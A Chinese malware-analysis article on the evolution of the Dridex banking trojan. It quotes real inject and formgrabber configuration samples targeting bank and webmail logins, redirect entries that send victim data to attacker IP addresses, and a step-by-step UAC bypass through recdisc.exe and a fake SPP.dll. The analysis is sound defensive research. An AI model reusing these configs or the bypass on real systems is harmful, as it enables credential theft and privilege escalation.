Dridex的进化史

Posted 2021-04-29 嘶吼专业版

从2011年被发现至今，Dridex银行木马已经成为最流行的银行木马家族。光在2015年，Dridex造成的损失估计就超过了4000万美元，与其他银行木马家族不同，因为它总是在不断演变并让其变得更加复杂。在2011年首次被发现时，Deidex就已经能够通过充当代理的后端服务器来隐藏其主要的命令与控制(C&C)服务器，从而逃避检测。鉴于Deidex的新版本会完全迭代旧版本，并且每次新的变异都会让Deidex的攻击技术进一步更新，所以我们可以得出结论，Deidex的背后一定有一个固定的研发团队在对其持续的进行更新和维护。

下面我们就简要介绍一下Dridex从2011年至今的发展情况以及最新版本的一些技术细节。

Dridex在2011年9月左右首次被发现，并被确定为一个独立的恶意程序，当时命名为Cridex，也就是Dridex的前身。对Cridex的样本MD5：78cc821b5acfc017c855bc7060479f84的分析表明，即使在早期，Cridex就可以接收动态配置文件，使用网络注入来攻击银行并能够感染USB媒体设备，比如被检测到的Worm.Win32.Cridex版本。

该版本有一个二进制配置文件：

名为databefore，datainject和dataafter的部分让其网络注入看起来类似于以前使用非常广泛的Zeus网银木马，根据我们的推测，这部分功能的实现可能与2011年Zeus源代码的泄漏之间存在某种关联。

Cridex 0.77-0.80

2012年，Dridex的研发团队发布了一个经过显着修改的Cridex变体（MD5：45ceacdc333a6a49ef23ad87196f375f）。在这一版本中，网络犯罪分子已经删除了感染USB媒体设备的功能，并用XML替换了配置文件和数据包的二进制格式。恶意软件发送给C＆C服务器的请求，如下所示：

<message>标签是XML文件的根元素， <header>标签包含有关系统、bot标识符和木马版本的相关信息。

以下是一个配置文件的样本：

<message set_hash=”” req_set=”1″ req_upd=”1″>

    <header>

        <unique>WIN-1DUOM1MNS4F_A47E8EE5C9037AFE</unique>

        <version>600</version>

        <system>221440</system>

        <network>10</network>

    </header>

    <data></data>

</message>

除了根元素<packet>之外，Dridex 0.8配置文件在3.0版本之前几乎没有变动过。

Dridex 1.10

Cridex的那个版本一直保持到2014年6月，2014年6月，Dridex的开发者进行了一项功能的重大改变，以便进行大范围的恶意攻击，其实对这一版本的发现还要得益于在2014年，由美国司法部、FBI等部门联合发起的国际执法安全行动Operation Tovar，此版本利用了GameOver Zeus僵尸网络的基础设施及其传播工具。

在Dridex 1.10出来后，Cridex版本便停止了运行，而Dridex1.100版本几乎在一个月后出现了（6月22日）。

<packet><commands><cmd id=”1354″ type=”3″><httpinject><conditions><url type=”deny”>.(css|js)($|?)</url><url type=”allow” contentType=”^text/(html|plain)”><![CDATA[https://.*?.usbank.com/]]></url></conditions><actions><modify><pattern><![CDATA[<body.*?>(.*?)]]></pattern><replacement><![CDATA[<link href=”https://ajax.googleapis.com/ajax/libs/jqueryui/1.8/themes/base/jquery-ui.css” rel=”stylesheet” type=”text/css”/>

  <style type=”text/css”>

    .ui-dialog-titlebar{ background: white }

.text1a{font-family: Arial; font-size: 10px;}

样本配置文件：

该版本已经配置了具有Dridex特征的.js脚本注入重定向功能。

<root>

<settings hash=”65762ae2bf50e54757163e60efacbe144de96aca”>

<httpshots>

<url type=”deny” onget=”1″ onpost=”1″>.(gif|png|jpg|css|swf|ico|js)($|?)</url>

<url type=”deny” onget=”1″ onpost=”1″>(resource.axd|yimg.com)</url>

</httpshots>

<formgrabber>

<url type=”deny”>.(swf)($|?)</url><url type=”deny”>/isapi/ocget.dll</url>

<url type=”allow”>^https?://aol.com/.*/login/</url>

<url type=”allow”>^https?://accounts.google.com/ServiceLoginAuth</url>

<url type=”allow”>^https?://login.yahoo.com/</url>

…

<redirects>

<redirect name=”1st” vnc=”0″ socks=”0″ uri=”http://81.208.13.10:8080/injectgate” timeout=”20″>twister5.js</redirect>

<redirect name=”2nd” vnc=”1″ socks=”1″ uri=”http://81.208.13.10:8080/tokengate” timeout=”20″>mainsc5.js</redirect>

<redirect name=”vbv1″ vnc=”0″ socks=”0″ postfwd=”1″ uri=”http://23.254.129.192:8080/logs/dtukvbv/js.php” timeout=”20″>/logs/dtukvbv/js.php</redirect>

<redirect name=”vbv2″ vnc=”0″ socks=”0″ postfwd=”1″ uri=”http://23.254.129.192:8080/logs/dtukvbv/in.php” timeout=”20″>/logs/dtukvbv/in.php</redirect>

</redirects>

<httpinjects>

<httpinject><conditions>

<url type=”allow” onpost=”1″ onget=”1″ modifiers=”U”><![CDATA[^https://.*/tdsecure/intro.jsp.*]]></url>

<url type=”deny” onpost=”0″ onget=”1″ modifiers=””>.(gif|png|jpg|css|swf)($|?)</url>

</conditions>

<actions>

<modify><pattern modifiers=”msU”><![CDATA[onKeyDown=”.*”]]></pattern><replacement><![CDATA[onKeyDown=””]]></replacement></modify>

<modify><pattern modifiers=”msU”><![CDATA[(<head.*>)]]></pattern><replacement><![CDATA[1<style type=”text/css”>

body {visibility: hidden; }

</style>

…

以下是Dridex和Gameover Zeus注入之间的对比：

从上图可以看出，Dridex 1.10借鉴了Gameover Zeus的很多功能，不过也对其功能进行了一个发展和改进。

我们上面提到，Dridex已经开始使用PCRE，而其以前的版本使用的则是SLRE。值得注意的是，到目前为止，唯一还在使用SLRE的银行恶意软件是Trojan-Banker.Win32.Shifu。该木马是在2015年8月被发现的，并通过使用与Dridex相同的Gameover Zeus僵尸网络来进行垃圾邮件传播。此外，这两个银行木马都使用了XML配置文件。

我们也有理由相信，至少从2014年开始，Dridex背后的研发团队就是俄罗斯人。命令与控制(C&C)服务器的源代码中的注释支持这一推论，如下图所示：

转储的数据库如下所示：

从版本2变异到版本3的Dridex

到2015年年初，Dridex实施了一种点对点架构的攻击， 这是对GameOver ZeuS点对点架构的改进。利用点对点架构和超级节点隐藏起其命令与控制(C&C)服务器，配置文件仍然以XML格式存储，但此时，它已经有一个新节点<nodes>，它包含一个最新的对等列表。另外，用于与C＆C进行通信的协议还进行了加密。

  从版本3变异到版本4的Dridex

2015年8月28日，FBI于在塞浦路斯逮捕了时年30岁的Dridex管理员Andrey Ghinkul（也被称之为Andrei Ghincul 和Smilex）。根据木马操作员的标记，在9月初，僵尸网络120，200和220已经下线，然而，在10月份，它们不但又重新开始活跃了，而且还新增几个僵尸网络：121,122,123,301,302,303。

值得注意的是，当时Dridex的研发团队已经为其引入了新的反检测措施。具体来说，他们引入了地理位置过滤，其中IP字段出现在C＆C请求数据包中，然后用于标识所对应的国家或地区。如果目标国家不在列表上，则对应的标识就会返回一条错误消息。

在2016年，Dridex的loader变得更加复杂，加密方式发生了变化，引入了二进制loader协议，以及包含二进制格式的配置文件的<settings>部分。

Dridex 4.x. 

Dridex的第四个版本在2017年初被发现，它具有与第三版相似的功能，但开发者已经停止了使用配置文件，并不再数据包中使用XML格式，而且还返回到二进制文件。由于loader现在每周最多运行两天，因此对新样本的分析显得更加困难。这与Lurk类似， Lurk的loader一周只运行了几个小时。

分析loader程序的数据包

第四个版本中的数据包结构类似于loader3.x版本的后期修改。但是，其中的模块的名称已被哈希替换：

以下是实现C＆C通信并使用这些哈希值的函数模块：

通过了解前一版本的数据包结构，我们可以通过比较第三和第四版本的数据包来推断出与模块对应的哈希值。

在Dridex的第四个版本中，有很多地方都使用了CRC32哈希算法，比如用于搜索函数的API的哈希和检查数据包的完整性。在数据包中使用的哈希与所请求的模块名称的CRC32无关。通过运行以下Python代码可以很容易的验证这一假设：

如上图所示，这样获得的哈希值与程序代码中的相同。

关于加载程序包的加密，却没有任何改变。在Dridex版本3中，使用的就是RC4算法，将密钥以加密形式存储在恶意程序的正文中。

在Dridex版本4中的另一个变化是使用了更严格的loader授权协议。由于loader的运行时间已经减少到一天，所以加密密钥也随之进行了更改，旧的loader就变得毫无用处了。如果服务器响应来自所有过时样本的请求，则会显示错误404。

僵尸程序的协议和加密分析

本质上，在Dridex版本4中，C＆C的通信过程和版本3是相同的，P2P协议仍然充当代理服务器和交换模块。然而，加密和分组结构却发生了显着变化，现在的数据包看起来更像以前的Dridex版本中的<settings>部分，没有更多的XML。

基础分组所生成功的函数是用来创建与C＆C和P2P协议进行通信的数据包。 C＆C包含两种类型的数据包：

1.对生成的公钥进行注册并传输；

2.请求一个配置文件；

该函数会输出以下数据包：

该数据包是以用于加密该数据包中的字符串的RC4密钥（74h）的长度开头，之后的两个部分的大小是相同的。通过在这些模块上执行XOR来计算实际密钥。接下来是分组类型（00h）和加密的僵尸标识符。

P2P加密

加密的P2P数据包如下所示：

P2P数据包的头是一个DWORD数组，其中所有元素的和为零。混淆的数据大小与以前的版本相同，但数据的加密方式却不同：

该数据包以16字节的密钥开始，随后是使用RC4，该模块使用的是原来密钥加密的数据大小的4字节信息。接下来是一个16字节的密钥和使用该密钥加密的数据，使用RC4进行加密。解密之后，我们得到一个使用gzip压缩的数据包。

C＆C加密

与之前一样，Dridex使用的还是RSA，RC4加密和HTTPS的组合与C＆C进行通信。在这种情况下，P2P可以作为代理服务器工作。加密分组具有以下结构：4字节的CRC以及RSA_BLOB。在解密RSA后（如果没有C＆C私钥，就无法解密请求的数据包），我们就得到一个GZIP数据包。

配置文件

我们已经获取并解密了僵尸网络222的配置文件：

它的结构与以前版本的Dridex的<settings>部分非常相似。它以4字节哈希开始，后面是配置文件的部分。

struct DridexConfigSection {

  BYTE SectionType;

  DWORD DataSize;

  BYTE Data[DataSize];

};

这些部分与<settings>中的类型相同：

01h - HttpShots

02h - Formgrabber

08h - 重定向

……

唯一改变的是加密配置文件中的字符串，最新的版本使用的是RC4。

struct EncryptedConfigString{

  BYTE RC4Key1[16]; // Size’s encryption key

  DWORD EncryptedSize;

  BYTE RC4Key2[16]; // Data’s encryption key

  BYTE EncryptedData[Size];

};

RC4也用于加密p2p数据包中的数据。

Dridex攻击的地理分布

总结

从Dridex家族在2011年被发现至今，安全厂商已经进行过无数次的防御，但都以失败而告终，另外，随着Dridex的不断演变，其背后的开发团队也从中获取了巨大的经济利益，这反过来又为他们的研发提供了资金支持。例如，最近检测到的Dridex投放行动已经开始利用了新的UAC(用户账户控制)规避方法，在目标设备中，Dridex利用Windows默认的恢复光盘程序recdisc.exe，来加载伪造的SPP.dll，并绕过Windows 7的UAC防护。为绕过UAC，Dridex会在WindowsSystem326886下创建目录，然后将合法的程序从WindowsSystem32recdisc.exe复制过来，然后再将自身拷贝到%APPDATA%LocalTemp，以临时文件的形式存在，再复制为WindowsSystem326886SPP.dll，最后，删除WindowsSystem32下的 wu*.exe和po*.dll，执行recdisc.exe，以管理员权限将自身加载成 SPP.dll。

由于Zeus Gameover的幕后团队就是俄罗斯人，所以我们推测，Dridex也很可能与俄罗斯有关。根据非常粗略的估计，现在Dridex造成的损失已经达到数亿美元。